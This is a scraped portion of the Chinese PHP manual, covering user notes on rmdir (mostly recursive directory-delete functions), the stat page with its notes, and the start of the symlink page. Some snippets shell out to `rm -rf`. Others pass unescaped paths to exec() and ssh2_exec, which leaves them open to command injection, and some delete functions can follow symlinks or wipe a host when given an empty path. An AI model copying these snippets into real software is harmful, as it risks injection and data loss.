Thanks to itay for the original function, though, it was helpful.
YAPs 03-Jul-2016 09:48
This version delete tree

<?PHP

if(!defined('DS'))define("DS",DIRECTORY_SEPARATOR);

function delTree($folder,$del_root=true)
{
    $folder=trim($folder,DS).DS;
    $f=glob($folder.'*',GLOB_MARK);
    if(count($f)>0)
        foreach($f as $e)
        {
            if(is_dir($e))
                delTree($e);
            else
                unlink($e);
        }
        if($del_root)
            rmdir($folder);
        if(!file_exists($folder))
            return $folder." is deleted";
        else
            return $folder." not deleted";
}
?>
frederico05 dot figueira at gmail dot com 12-May-2016 02:00
//This is one example to delete full directory with all files inside there

function delDir($path){
        if(is_dir($path) == TRUE){
            $rootFolder = scandir($path);
            if(sizeof($rootFolder) > 2){
                foreach($rootFolder as $folder){
                    if($folder != "." && $folder != ".."){
//Pass the subfolder to function
                        delDir($path."/".$folder);
                    }
                }
//On the end of foreach the directory will be cleaned, and you will can use rmdir, to remove it
                rmdir($path);
            }
        }else{
            if(file_exists($path) == TRUE){
                unlink($path);
            }
        }
    }
dj dot thd at hotmail dot com 11-Feb-2016 09:16
Never ever use jurchiks101 at gmail dot com code!!! It contains command injection vulnerability!!!
If you want to do it that way, use something like this instead:

<?php
if (PHP_OS === 'Windows')
{
    exec(sprintf("rd /s /q %s", escapeshellarg($path)));
}
else
{
    exec(sprintf("rm -rf %s", escapeshellarg($path)));
}
?>

Note the escapeshellarg usage to escape any possible unwanted character, this avoids putting commands in $path variable so the possibility of someone "pwning" the server with this code
itay at itgoldman dot com 26-May-2015 05:07
some implementations of recursive folder delete don't work so well (some give warnings, other don't delete hidden files etc).

this one is working fine:
<?php

function rrmdir($src) {
    $dir = opendir($src);
    while(false !== ( $file = readdir($dir)) ) {
        if (( $file != '.' ) && ( $file != '..' )) {
            $full = $src . '/' . $file;
            if ( is_dir($full) ) {
                rrmdir($full);
            }
            else {
                unlink($full);
            }
        }
    }
    closedir($dir);
    rmdir($src);
}

?>
wolfoneil at gmx.de 26-Jan-2015 08:31
I was working on some Dataoperation, and just wanted to share an OOP method with you.

It just removes any contents of a Directory but not the target Directory itself! Its really nice if you want to clean a BackupDirectory or Log.

Also you can test on it if something went wrong or if it just done its Work!

I have it in a FileHandler class for example, enjoy!

<?php

  public function deleteContent($path){
      try{
        $iterator = new DirectoryIterator($path);
        foreach ( $iterator as $fileinfo ) {
          if($fileinfo->isDot())continue;
          if($fileinfo->isDir()){
            if(deleteContent($fileinfo->getPathname()))
              @rmdir($fileinfo->getPathname());
          }
          if($fileinfo->isFile()){
            @unlink($fileinfo->getPathname());
          }
        }
      } catch ( Exception $e ){
         // write log
         return false;
      }
      return true;
    }

?>
ahmadmarafa at gmail dot com 01-Oct-2014 10:32
function unlinkDir($dir)
{
    $dirs = array($dir);
    $files = array() ;
    for($i=0;;$i++)
    {
        if(isset($dirs[$i]))
            $dir =  $dirs[$i];
        else
            break ;

        if($openDir = opendir($dir))
        {
            while($readDir = @readdir($openDir))
            {
                if($readDir != "." && $readDir != "..")
                {

                    if(is_dir($dir."/".$readDir))
                    {
                        $dirs[] = $dir."/".$readDir ;
                    }
                    else
                    {

                        $files[] = $dir."/".$readDir ;
                    }
                }
            }

        }

    }

    foreach($files as $file)
    {
        unlink($file) ;

    }
    $dirs = array_reverse($dirs) ;
    foreach($dirs as $dir)
    {
        rmdir($dir) ;
    }

}
Baraka Mghumba 27-Aug-2014 06:42
Works fine, tested on PHP 5.4(EasyPHP server)
function deletedir($dir)
    {
        if (is_dir($dir))
        {
            $files = scandir($dir);
            foreach ($files as $file)
            {
                if ($file != "." && $file != "..")
                {
                    if (filetype($dir."/".$file) == "dir")
                    {
                        $this->deletedir($dir."/".$file);
                    }
                    else
                    {
                        unlink($dir."/".$file);
                    }
                }
            }
            reset($objects);
            if(rmdir($dir))
            {
                return 'deleted successfully!';
            }
            else
            {
                return 'delete failed!';
            }
        }
        else
        {
            return 'doesn\'t exist or inaccessible!';
        }
    }
Something to note:
You have to take care of file permission if necessary
tuxedobob 21-May-2014 07:13
Keep in mind that if you know what your host OS is, you can always just call the appropriate system call using exec() or the like. For example:

exec('rmdir folder-to-delete /s /q'); //windows
exec('rmdir -rf folder-to-delete'); //OS X/*nix?
lprent at primary dot geek dot nz 21-Jan-2014 10:10
It is rather dangerous to recurse into symbolically linked directories. The delTree should be modified to check for links.

<?php
public static function delTree($dir) {
   $files = array_diff(scandir($dir), array('.','..'));
    foreach ($files as $file) {
      (is_dir("$dir/$file") && !is_link($dir)) ? delTree("$dir/$file") : unlink("$dir/$file");
    }
    return rmdir($dir);
  }
?>
nbari at dalmp dot com 28-Oct-2012 10:36
Glob function doesn't return the hidden files, therefore scandir can be more useful, when trying to delete recursively a tree.

<?php
public static function delTree($dir) {
   $files = array_diff(scandir($dir), array('.','..'));
    foreach ($files as $file) {
      (is_dir("$dir/$file")) ? delTree("$dir/$file") : unlink("$dir/$file");
    }
    return rmdir($dir);
  }
?>
Chris Wren 01-Sep-2012 08:29
I also ran into the permissions issue in Windows when deleting a folder and the solution was to close all editors which had files opened which were located in the folder structure.
longears at BLERG dot gmail dot com 29-Mar-2012 07:10
Concise way to recursively remove a directory:

<?php
# recursively remove a directory
function rrmdir($dir) {
    foreach(glob($dir . '/*') as $file) {
        if(is_dir($file))
            rrmdir($file);
        else
            unlink($file);
    }
    rmdir($dir);
}
?>
thomas 21-Nov-2011 12:44
Function deleteAll given by O S on 18-Jun-2010 11:30 will fail at line

while ($contents = readdir($directoryHandle)) {...

if a folder named 0 (zero) is found during traversing the hierarchy
shane dot ray87 at gmail dot com 08-Aug-2011 01:50
This issue has been driving me nuts for hours.

I am running PHP on IIS, I had the wincache module installed, when running a recursive delete a certain folder would get "stuck" and throw permissions errors.  I was not able to delete them with PHP or in windows itself.  The only way to delete the folder was to wait 5 min and run the script again, or stop the IIS server and the folder would delete on its own.  Disabling the wincachce module resolved the issue.

Hope this helps.
samy dot see at gmail dot com 27-Jun-2011 03:38
if you get this problem Permission denied in windows testing your site maybe this will resolve the problem

<?php
if(file_exists($path.'/Thumbs.db')){
    unlink($path.'/Thumbs.db');
}
?>

and then

<?php rmdir($path); ?>
holger1 at NOSPAMzentralplan dot de 26-Jun-2010 02:00
Another simple way to recursively delete a directory that is not empty:

<?php
 function rrmdir($dir) {
   if (is_dir($dir)) {
     $objects = scandir($dir);
     foreach ($objects as $object) {
       if ($object != "." && $object != "..") {
         if (filetype($dir."/".$object) == "dir") rrmdir($dir."/".$object); else unlink($dir."/".$object);
       }
     }
     reset($objects);
     rmdir($dir);
   }
 }
?>
O S 18-Jun-2010 03:30
This isn't my code, but just thought I would share, since it took me so long to find. This is a function to delete a folder, all sub-folders, and files in one clean move.

Just tell it what directory you want deleted, in relation to the page that this function is executed. Then set $empty = true if you want the folder just emptied, but not deleted. If you set $empty = false, or just simply leave it out, the given directory will be deleted, as well.

<?php
function deleteAll($directory, $empty = false) {
    if(substr($directory,-1) == "/") {
        $directory = substr($directory,0,-1);
    }

    if(!file_exists($directory) || !is_dir($directory)) {
        return false;
    } elseif(!is_readable($directory)) {
        return false;
    } else {
        $directoryHandle = opendir($directory);

        while ($contents = readdir($directoryHandle)) {
            if($contents != '.' && $contents != '..') {
                $path = $directory . "/" . $contents;

                if(is_dir($path)) {
                    deleteAll($path);
                } else {
                    unlink($path);
                }
            }
        }

        closedir($directoryHandle);

        if($empty == false) {
            if(!rmdir($directory)) {
                return false;
            }
        }

        return true;
    }
}
?>
info at top-info dot org 28-Apr-2010 04:15
The function delTree is dangerous when you dont take really care. I for example always deleted a temporary directory with it. Everthing went fine until the moment where the var containing this temporary directory wasnt set. The var didnt contain the path but an empty string. The function delTree  was called and deleted all the files at my host!
So dont use this function when you dont have a proper handling coded. Dont think about using this function only for testing without such a handling.
Luckily nothing is lost because I had the local copy...
steffen at wirsching-idstein dot de 16-Jan-2010 05:40
Say, you're working on Windows and continue to get a permission's error without a reason. Then it may be that a different Windows program is working on the folder (see earlier notes also). In the case that you can't find that program, the line

<?php closedir(opendir($dirname)); ?>

may solve the problem!
Make sure to write this before rmdir($dirname);.
omikrosys at gmail dot com 08-Oct-2009 09:52
Sometimes you would face situations in which rmdir($dirname) would give "permission denied" errors though you may have changed $dirname permissions. In such situations just change the permissions of the directory which contains $dirname and rmdir($dirname) would work like a charm.
Say you use rmdir('dirr'); then change the permissions of the folder that contains 'dirr'.
kevin at web-power dot co dot uk 02-Oct-2009 05:51
I had situation where the rmdir was returning warning message as within last loop it was already removed. So here is quick fix by adding is_dir to the DelTree routine below

<?php
function delTree($dir) {
    $files = glob( $dir . '*', GLOB_MARK );
    foreach( $files as $file ){
        if( substr( $file, -1 ) == '/' )
            delTree( $file );
        else
            unlink( $file );
    }

    if (is_dir($dir)) rmdir( $dir );

}
?>
bcairns at gmail dot com 02-Aug-2009 09:59
I wasn't having much luck with the recursive delete functions below, so I wrote my own:

<?php
// ensure $dir ends with a slash
function delTree($dir) {
    $files = glob( $dir . '*', GLOB_MARK );
    foreach( $files as $file ){
        if( substr( $file, -1 ) == '/' )
            delTree( $file );
        else
            unlink( $file );
    }
    rmdir( $dir );
}
?>

Simple.  Works.
asn at asn24 dot dk 06-Jul-2009 09:08
A patch to previous script to make sure rights for deletion is set:

<?php
//Delete folder function
function deleteDirectory($dir) {
    if (!file_exists($dir)) return true;
    if (!is_dir($dir) || is_link($dir)) return unlink($dir);
        foreach (scandir($dir) as $item) {
            if ($item == '.' || $item == '..') continue;
            if (!deleteDirectory($dir . "/" . $item)) {
                chmod($dir . "/" . $item, 0777);
                if (!deleteDirectory($dir . "/" . $item)) return false;
            };
        }
        return rmdir($dir);
    }
?>

[EDITOR NOTE: "Credits to erkethan at free dot fr." - thiago]
TrashF at taistelumarsu dot org 08-Aug-2008 03:21
In case you're trying to rmdir() and you keep getting 'Permission denied' errors, make sure you don't have the directory still open after using opendir(). Especially when writing recursive functions for deleting directories, make sure you have closedir() BEFORE rmdir().
rn at clubfl dot com 18-Dec-2007 10:16
I've noticed that when using this command on a windows platform you may encounter a permissions error which may seem unwarranted. This commonly occurs if you are or were using a program to edit something in the to be deleted folder and either the item is still in the folder or the program that was accessing the file in that folder is still running(causing it to hold onto the folder).

SO... if you get a permissions error and there shouldn't be an issue with folder permissions check if there are files in there then check if there is a program running that is or was using a file that was in that folder and kill it.


stream_set_write_buffer 的别名

  • ? rmdir
  • stat ?
  • PHP Manual
  • 文件系统函数
  • stream_set_write_buffer 的别名

set_file_buffer

(PHP 4, PHP 5, PHP 7, PHP 8)

set_file_buffer — stream_set_write_buffer() 的别名

说明

此函数是该函数的别名：stream_set_write_buffer()。

User Contributed Notes

There are no user contributed notes for this page.


给出文件的信息

  • ? set_file_buffer
  • symlink ?
  • PHP Manual
  • 文件系统函数
  • 给出文件的信息

stat

(PHP 4, PHP 5, PHP 7, PHP 8)

stat — 给出文件的信息

说明

stat(string $filename): array|false

获取由 filename 指定的文件的统计信息。如果 filename 是符号连接，则统计信息是关于被连接文件本身的，而不是符号连接。在 PHP 7.4.0 之前，使用 Windows NTS 版本获取 size、atime、mtime 和 ctime 统计信息将从符号链接获取。

lstat() 和 stat() 相同，只除了它会返回符号连接的状态。

参数

filename

文件的路径。

返回值

stat() 和 fstat() 返回格式
数字下标 | 关联键名 | 说明
0 | dev | 设备号 ***
1 | ino | inode 号 ****
2 | mode | inode 保护模式 *****
3 | nlink | 连接数目
4 | uid | 所有者的用户 id *
5 | gid | 所有者的组 id *
6 | rdev | 设备类型，如果是 inode 设备的话
7 | size | 文件大小的字节数
8 | atime | 上次访问时间（Unix 时间戳）
9 | mtime | 上次修改时间（Unix 时间戳）
10 | ctime | 上次 inodb 改变时间（Unix 时间戳）
11 | blksize | 文件系统 IO 的块大小 **
12 | blocks | 分配的 512 字节块数 **

* Windows 下总是 0。

* - 仅在支持 st_blksize 类型的系统下有效。其它系统（如 Windows）返回 -1。

*** On Windows, as of PHP 7.4.0, this is the serial number of the volume that contains the file, which is a 64-bit unsigned integer, so may overflow. Previously, it was the numeric representation of the drive letter (e.g. 2 for C:) for stat(), and 0 for lstat().

**** 在 Windows 上，自 PHP 7.4.0 起，这是跟文件相关的标识符，因为是64位 unsigned 整数，因此可能会溢出。之前始终为 0。

***** On Windows, the writable permission bit is set according to the read-only file attribute, and the same value is reported for all users, group and owner. The ACL is not taken into account, contrary to is_writable().

mode 的值包含几个函数读取到的信息。当用八进制编写时，从右开始，前三位由 chmod() 返回。PHP 忽略下一个数字。接下来的两位数字表示文件类型：

mode 文件类型
八进制表示 mode | 含义
0140000 | socket
0120000 | link
0100000 | 常规文件
0060000 | 块设备
0040000 | 目录
0020000 | 字符设备
0010000 | fifo
例如普通文件可能是 0100644，目录可能是 0040755。

如果出错，stat() 返回 false。

Note: 因为 PHP 的整数类型是有符号整型而且很多平台使用 32 位整型，对 2GB 以上的文件，一些文件系统函数可能返回无法预期的结果。

错误／异常

错误时会产生 E_WARNING 级别的错误。

更新日志

版本 | 说明
7.4.0 | On Windows, the device number is now the serial number of the volume that contains the file, and the inode number is the identifier associated with the file.
7.4.0 | The size, atime, mtime and ctime statistics of symlinks are always those of the target. This was previously not the case for NTS builds on Windows.

示例

Example #1 stat() 例子

<?php
/* Get file stat */
$stat = stat('C:\php\php.exe');

/*
* Print file access time, this is the same
* as calling fileatime()
*/
echo 'Access time: ' . $stat['atime'];

/*
* Print file modification time, this is the
* same as calling filemtime()
*/
echo 'Modification time: ' . $stat['mtime'];

/* Print the device number */
echo 'Device number: ' . $stat['dev'];
?>

Example #2 Using stat() information together with touch()

<?php
/* Get file stat */
$stat = stat('C:\php\php.exe');

/* Did we failed to get stat information? */
if (!$stat) {
echo 'stat() call failed...';
} else {
/*
* We want the access time to be 1 week
* after the current access time.
*/
$atime = $stat['atime'] + 604800;

/* Touch the file */
if (!touch('some_file.txt', time(), $atime)) {
echo 'Failed to touch file...';
} else {
echo 'touch() returned success...';
}
}
?>

注释

Note:

注意：不同文件系统对时间的判断方法可能是不相同的。

Note: 此函数的结果会被缓存。参见 clearstatcache() 以获得更多细节。

Tip

自 PHP 5.0.0 起, 此函数也用于某些 URL 包装器。请参见 支持的协议和封装协议以获得支持 stat() 系列函数功能的包装器列表。

参见

  • lstat() - 给出一个文件或符号连接的信息
  • fstat() - 通过已打开的文件指针取得文件信息
  • filemtime() - 取得文件修改时间
  • filegroup() - 取得文件的组
  • SplFileInfo

User Contributed Notes

Ray.Paseur sometimes uses Gmail 13-Feb-2021 02:49
A good explanation of the "mode" bits is given here:
https://www.php.net/manual/en/function.fileperms.php
carlos [at] encore-lab [dot] com 03-Nov-2014 02:47
stat() may not work on mounted CIFS' in 32 bit systems if you do not specify the option noserverino when mounting. E.g:

mount -t cifs -o user="user",password="password",noserverino //example.local/share /mnt/mount-point

Other functions based on stat() data such as file time functions and is_dir() are affected the same way.

This happens because if you do not specify the option noserverino the remote inode may be 64 bit-based and thus the local system cannot handle it.
webmaster at askapache dot com 22-Jan-2014 05:16
On GNU/Linux you can retrieve the number of currently running processes on the machine by doing a stat for hard links on the '/proc' directory like so:

$ stat -c '%h' /proc
118

You can do the same thing in php by doing a stat on /proc and grabbing the [3] 'nlink' - number of links in the returned array.

Here is the function I'm using, it does a clearstatcache() when called more than once.

<?php

/**
 * Returns the number of running processes
 *
 * @link http://php.net/clearstatcache
 * @link http://php.net/stat  Description of stat syntax.
 * @author http://www.askapache.com/php/get-number-running-proccesses.html
 * @return int
 */
function get_process_count() {
  static $ver, $runs = 0;

  // check if php version supports clearstatcache params, but only check once
  if ( is_null( $ver ) )
    $ver = version_compare( PHP_VERSION, '5.3.0', '>=' );

  // Only call clearstatcache() if function called more than once */
  if ( $runs++ > 0 ) { // checks if $runs > 0, then increments $runs by one.

    // if php version is >= 5.3.0
    if ( $ver ) {
      clearstatcache( true, '/proc' );
    } else {
      // if php version is < 5.3.0
      clearstatcache();
    }
  }

  $stat = stat( '/proc' );

  // if stat succeeds and nlink value is present return it, otherwise return 0
  return ( ( false !== $stat && isset( $stat[3] ) ) ? $stat[3] : 0 );
}

?>

Example #1 get_process_count() example

<?php
$num_procs = get_process_count();
var_dump( $num_procs );
?>

The above example will output:

int(118)

Which is the number of processes that were running.
digitalaudiorock at hotmail dot com 12-Dec-2008 08:23
Regarding the stat() on files larger than 2GB on 32 bit systems not working, note that the behavior appears to differ between Linux and Windows.  Under Windows there's so way to know whether or not this failed.

It's been my experience that under Linux, performing a stat() on files that are too large for the integer size generates a warning and returns false.  However under Windows it silently truncates the high order bits of the size resulting in an incorrect number.  The only way you'd ever know it failed is in the event that the truncation happened to leave the sign bit on resulting in a negative size.  That is, there is _no_ reliable way to know it failed.

This is true of filesize() as well.

Tom
webmaster at askapache dot com 26-Nov-2008 01:20
This is a souped up 'stat' function based on
many user-submitted code snippets and
@ http://www.askapache.com/security/chmod-stat.html

Give it a filename, and it returns an array like stat.

<?php

function alt_stat($file) {

 clearstatcache();
 $ss=@stat($file);
 if(!$ss) return false; //Couldnt stat file

 $ts=array(
  0140000=>'ssocket',
  0120000=>'llink',
  0100000=>'-file',
  0060000=>'bblock',
  0040000=>'ddir',
  0020000=>'cchar',
  0010000=>'pfifo'
 );

 $p=$ss['mode'];
 $t=decoct($ss['mode'] & 0170000); // File Encoding Bit

 $str =(array_key_exists(octdec($t),$ts))?$ts[octdec($t)]{0}:'u';
 $str.=(($p&0x0100)?'r':'-').(($p&0x0080)?'w':'-');
 $str.=(($p&0x0040)?(($p&0x0800)?'s':'x'):(($p&0x0800)?'S':'-'));
 $str.=(($p&0x0020)?'r':'-').(($p&0x0010)?'w':'-');
 $str.=(($p&0x0008)?(($p&0x0400)?'s':'x'):(($p&0x0400)?'S':'-'));
 $str.=(($p&0x0004)?'r':'-').(($p&0x0002)?'w':'-');
 $str.=(($p&0x0001)?(($p&0x0200)?'t':'x'):(($p&0x0200)?'T':'-'));

 $s=array(
 'perms'=>array(
  'umask'=>sprintf("%04o",@umask()),
  'human'=>$str,
  'octal1'=>sprintf("%o", ($ss['mode'] & 000777)),
  'octal2'=>sprintf("0%o", 0777 & $p),
  'decimal'=>sprintf("%04o", $p),
  'fileperms'=>@fileperms($file),
  'mode1'=>$p,
  'mode2'=>$ss['mode']),

 'owner'=>array(
  'fileowner'=>$ss['uid'],
  'filegroup'=>$ss['gid'],
  'owner'=>
  (function_exists('posix_getpwuid'))?
  @posix_getpwuid($ss['uid']):'',
  'group'=>
  (function_exists('posix_getgrgid'))?
  @posix_getgrgid($ss['gid']):''
  ),

 'file'=>array(
  'filename'=>$file,
  'realpath'=>(@realpath($file) != $file) ? @realpath($file) : '',
  'dirname'=>@dirname($file),
  'basename'=>@basename($file)
  ),

 'filetype'=>array(
  'type'=>substr($ts[octdec($t)],1),
  'type_octal'=>sprintf("%07o", octdec($t)),
  'is_file'=>@is_file($file),
  'is_dir'=>@is_dir($file),
  'is_link'=>@is_link($file),
  'is_readable'=> @is_readable($file),
  'is_writable'=> @is_writable($file)
  ),

 'device'=>array(
  'device'=>$ss['dev'], //Device
  'device_number'=>$ss['rdev'], //Device number, if device.
  'inode'=>$ss['ino'], //File serial number
  'link_count'=>$ss['nlink'], //link count
  'link_to'=>($s['type']=='link') ? @readlink($file) : ''
  ),

 'size'=>array(
  'size'=>$ss['size'], //Size of file, in bytes.
  'blocks'=>$ss['blocks'], //Number 512-byte blocks allocated
  'block_size'=> $ss['blksize'] //Optimal block size for I/O.
  ),

 'time'=>array(
  'mtime'=>$ss['mtime'], //Time of last modification
  'atime'=>$ss['atime'], //Time of last access.
  'ctime'=>$ss['ctime'], //Time of last status change
  'accessed'=>@date('Y M D H:i:s',$ss['atime']),
  'modified'=>@date('Y M D H:i:s',$ss['mtime']),
  'created'=>@date('Y M D H:i:s',$ss['ctime'])
  ),
 );

 clearstatcache();
 return $s;
}

?>

|=---------[ Example Output ]

Array(
[perms] => Array
  (
  [umask] => 0022
  [human] => -rw-r--r--
  [octal1] => 644
  [octal2] => 0644
  [decimal] => 100644
  [fileperms] => 33188
  [mode1] => 33188
  [mode2] => 33188
  )

[filetype] => Array
  (
  [type] => file
  [type_octal] => 0100000
  [is_file] => 1
  [is_dir] =>
  [is_link] =>
  [is_readable] => 1
  [is_writable] => 1
  )

[owner] => Array
  (
  [fileowner] => 035483
  [filegroup] => 23472
  [owner_name] => askapache
  [group_name] => grp22558
  )

[file] => Array
  (
  [filename] => /home/askapache/askapache-stat/htdocs/ok/g.php
  [realpath] =>
  [dirname] => /home/askapache/askapache-stat/htdocs/ok
  [basename] => g.php
  )

[device] => Array
  (
  [device] => 25
  [device_number] => 0
  [inode] => 92455020
  [link_count] => 1
  [link_to] =>
  )

[size] => Array
  (
  [size] => 2652
  [blocks] => 8
  [block_size] => 8192
  )

[time] => Array
  (
  [mtime] => 1227685253
  [atime] => 1227685138
  [ctime] => 1227685253
  [accessed] => 2008 Nov Tue 23:38:58
  [modified] => 2008 Nov Tue 23:40:53
  [created] => 2008 Nov Tue 23:40:53
  )
)
antonixyz at gmx dot net 21-Jul-2008 02:19
<?php
$stat = stat($filepath);
$mode = $stat[2];
?>
is identical to:
<?php $mode = fileperms($filepath); ?>

at least on my linux box.
mail4rico at gmail dot com 24-Apr-2008 11:19
In response to the note whose first line is:
Re note posted by "admin at smitelli dot com"

I believe you have the conversion backwards. You should add an hour to filemtime if the system is in DST and the file is not. Conversely, you should subtract an hour if the file time is DST and the current OS time is not.

Here's a simplified, corrected version:
<?php
    function getmodtime($file) { //returns the time a file was modified.
        $mtime = filemtime($file);
        //date('I') returns 1 if DST is on and 0 if off.
        $diff = date('I')-date('I', $mtime);
        //diff =  0 if file-time and os-time are both in the same DST setting
        //diff =  1 if os is DST and file is not
        //diff = -1 if file is DST and os is not
        return $mtime + $diff*3600;
    }
?>
Here's a test:
<?php
    //create two dummy files:
    $file0 = 'file1.txt';
    $file1 = 'file2.txt';
    file_put_contents($file0, '');
    file_put_contents($file1, '');

    $time0=strtotime('Jan 1 2008 10:00'); echo 'Date0 (ST): ' . date(DATE_COOKIE, $time0)."\n";
    $time1=strtotime('Aug 1 2008 10:00'); echo 'Date1 (DT): ' . date(DATE_COOKIE, $time1)."\n";
    touch($file0, $time0); //set file0 to Winter (Non-DST)
    touch($file1, $time1); //set file1 to Summer (DST)

    $ftime0 = filemtime($file0);
    $ftime1 = filemtime($file1);
    echo "\nUncorrected: \n";
    echo 'File 0: ' . ($ftime0-$time0) ."\n";
    echo 'File 1: ' . ($ftime1-$time1) ."\n";
    //if your system adjusts for DST, then _one_ of the above should be 3600 or -3600, depending on the time of year

    $ftime0 = getmodtime($file0); //use filemtime correction
    $ftime1 = getmodtime($file1); //use filemtime correction
    echo "\nCorrected: \n";
    echo 'File 0: ' . ($ftime0-$time0) ."\n";
    echo 'File 1: ' . ($ftime1-$time1) ."\n";
    //both of the corrected values output should be 0.
?>

Output:
------------------------------
(when run in summer)
------------------------------
Date0 (ST): Tuesday, 01-Jan-08 10:00:00 EST
Date1 (DT): Friday, 01-Aug-08 10:00:00 EDT

Uncorrected:
File 0: -3600
File 1: 0

Corrected:
File 0: 0
File 1: 0
------------------------------
(when run in winter--dates omitted)
------------------------------
Uncorrected:
File 0: 0
File 1: 3600

Corrected:
File 0: 0
File 1: 0

In response to Re note posted by "admin at smitelli dot com",  your version below gives the following output when substituted into my test:
------------------------------
(when run in summer--dates omitted)
------------------------------
Uncorrected:
File 0: -3600
File 1: 0

Corrected:
File 0: -7200
File 1: 0
------------------------------
You can see that the operation is the opposite of what it should be.
Hellhound 03-Mar-2008 02:16
To ignore index number or name specifics.. use:

list($dev, $ino, $mode, $nlink, $uid, $gid, $rdev, $size, $atime, $mtime, $ctime, $blksize, $blocks)
         = lstat($directory_element);
JulieC 30-Jan-2007 07:21
The dir_size function provided by "marting.dc AT gmail.com" works great, except the $mas variable is not initialized.  Add:

   $mas = 0;

before the while() loop.
16-May-2006 10:10
Re note posted by "admin at smitelli dot com"

I'm not sure how that can work all year round since you have to modify both opposing inside and outside DST based on the actual files themselves, as well as the current DST setting for the system.

e.g. using filemtime, same thing for stat.

<?php

$mtime = filemtime($file);

if (date('I') == 1) {
    // Win DST is enabled, adjust standard time
    // files back to 'real' file UTC.
    if (date('I', $mtime) == 0) {
        $mtime -= 3600;
    }
} else {
    // Win DST is disabled, adjust daylight time
    // files forward to 'real' file UTC.
    if (date('I', $mtime) == 1) {
        $mtime += 3600;
    }
}

echo gmdate('Y-m-d H:i:s', $mtime);

?>

Just another example of why 'not' to use windows in a server room.
marting.dc AT gmail.com 28-Jan-2006 05:08
If you want to know a directory size, this function will help you:

<?php
function dir_size($dir)
{
    $handle = opendir($dir);

    while ($file = readdir($handle)) {
        if ($file != '..' && $file != '.' && !is_dir($dir.'/'.$file)) {
            $mas += filesize($dir.'/'.$file);
            } else if (is_dir($dir.'/'.$file) && $file != '..' && $file != '.') {
            $mas += dir_size($dir.'/'.$file);
        }
    }
    return $mas;
}
echo dir_size('DIRECTORIO').' Bytes';
?>
admin at smitelli dot com 02-Nov-2005 11:27
There's an important (yet little-known) problem with file dates on Windows and Daylight Savings. This affects the 'atime' and 'mtime' elements returned by stat(), and it also affects other filesystem-related functions such as fileatime() and filemtime().

During the winter months (when Daylight Savings isn't in effect), Windows will report a certain timestamp for a given file. However, when summer comes and Daylight Savings starts, Windows will report a DIFFERENT timestamp! Even if the file hasn't been altered at all, Windows will shift every timestamp it reads forward one full hour during Daylight Savings.

This all stems from the fact that M$ decided to use a hackneyed method of tracking file dates to make sure there are no ambiguous times during the "repeated hour" when DST ends in October, maintain compatibility with older FAT partitions, etc. An excellent description of what/why this is can be found at http://www.codeproject.com/datetime/dstbugs.asp

This is noteworthy because *nix platforms don't have this problem. This could introduce some hard-to-track bugs if you're trying to move scripts that track file timestamps between platforms.

I spent a fair amount of time trying to debug one of my own scripts that was suffering from this problem. I was storing file modification times in a MySQL table, then using that information to see which files had been altered since the last run of the script. After each Daylight Savings change, every single file the script saw was considered "changed" since the last run, since all the timestamps were off by +/- 3600 seconds.

This one-liner is probably one of the most incorrect fixes that could ever be devised, but it's worked flawlessly in production-grade environments... Assuming $file_date is a Unix timestamp you've just read from a file:

<?php
    if (date('I') == 1) $file_date -= 3600;
?>

That will ensure that the timestamp you're working with is always consistently reported, regardless of whether the machine is in Daylight Savings or not.
com dot gmail at algofoogle 21-Jul-2005 06:06
Re note posted by "salisbm at hotmail dot com":

S_IFDIR is not a single-bit flag. It is a constant that relies on the "S_IFMT" bitmask. This bitmask should be applied to the "mode" parameter before comparing with any of the other "S_IF..." constants, as indicated by stat.h:

#define S_ISDIR(m)  (((m) & S_IFMT) == S_IFDIR)

That is, this approach is incorrect:

<?php
define('S_IFDIR',040000);
if ($mode & S_IFDIR)
{
  /*
    incorrect!
    format could be S_IFDIR, but also
    S_IFBLK, S_IFSOCK, or S_IFWHT.
  */
}
?>

...and should instead be:

<?php
define('S_IFMT',0170000);
define('S_IFDIR',040000);
if (S_IFDIR == ($mode & S_IFMT)) {  /* ... */  }
?>

As pointed out by "svend at svendtofte dot com", however, there is also the "is_dir" function for this purpose, along with "is_file" and "is_link" to cover the most common format types...
mao at nospam dot com 07-Jun-2005 05:53
If you have ftp (and the related sftp) protocols disabled on your remote server, it can be hard figuring out how to 'stat' a remote file. The following works for me:

<?php

$conn = ssh2_connect($host, 22);
ssh2_auth_password($conn, $user, $password);
$stream = ssh2_exec($conn, "stat $fileName > $remotedest");
ssh2_scp_recv($conn, $remotedest, $localdest);
$farray = file($localdest);
print_r($farray);
?>
10-Nov-2004 07:41
If the 2GB limit is driving you crazy, you can use this complete hack.  use in place of filesize()

function file_size($file) {
  $size = filesize($file);
  if ( $size == 0)
    $size = exec("ls -l $file | awk '{print $5}'");
  return $size;
}
svend at svendtofte dot com 09-Oct-2004 04:31
To the note of how you can figure out if a file is a folder or not, there is also the handy "is_dir" function.
salisbm at hotmail dot com 11-Aug-2003 05:21
I was curious how I could tell if a file was a directory... so I found on http://www.hmug.org/man/2/stat.html the following information about the mode bits:
#define S_IFMT 0170000           /* type of file */
#define        S_IFIFO  0010000  /* named pipe (fifo) */
#define        S_IFCHR  0020000  /* character special */
#define        S_IFDIR  0040000  /* directory */
#define        S_IFBLK  0060000  /* block special */
#define        S_IFREG  0100000  /* regular */
#define        S_IFLNK  0120000  /* symbolic link */
#define        S_IFSOCK 0140000  /* socket */
#define        S_IFWHT  0160000  /* whiteout */
#define S_ISUID 0004000  /* set user id on execution */
#define S_ISGID 0002000  /* set group id on execution */
#define S_ISVTX 0001000  /* save swapped text even after use */
#define S_IRUSR 0000400  /* read permission, owner */
#define S_IWUSR 0000200  /* write permission, owner */
#define S_IXUSR 0000100  /* execute/search permission, owner */

Note that these numbers are in octal format.  Then, to check to see if the file is a directory, after calling fstat, I do:

if ($fstats[mode] & 040000)
  ... this must be a directory
ian at eiloart dot com 23-Jul-1999 08:52
Here's what the UNIX man page on stat has to say about the difference between a file change and  a file modification:

st_mtime  Time when data was last modified.  Changed by  the following  functions:   creat(),  mknod(), pipe(), utime(), and write(2).

st_ctime  Time when file status was last  changed.   Changed by  the  following  functions: chmod(), chown(), creat(), link(2), mknod(), pipe(), unlink(2), utime(), and write().

So a modification is a change in the data, whereas a change also happens if you modify file permissions and so on.


建立符号连接

  • ? stat
  • tempnam ?
  • PHP Manual
  • 文件系统函数
  • 建立符号连接

symlink

(PHP 4, PHP 5, PHP 7, PHP 8)

symlink — 建立符号连接

说明

symlink(string $target, string $link): bool

symlink() 对于已有的 target 建立一个名为 link 的符号连接。

参数

target

连接的目标。

link

连接的名称。

返回值

成功时返回 true， 或者在失败时返回 false。

错误／异常

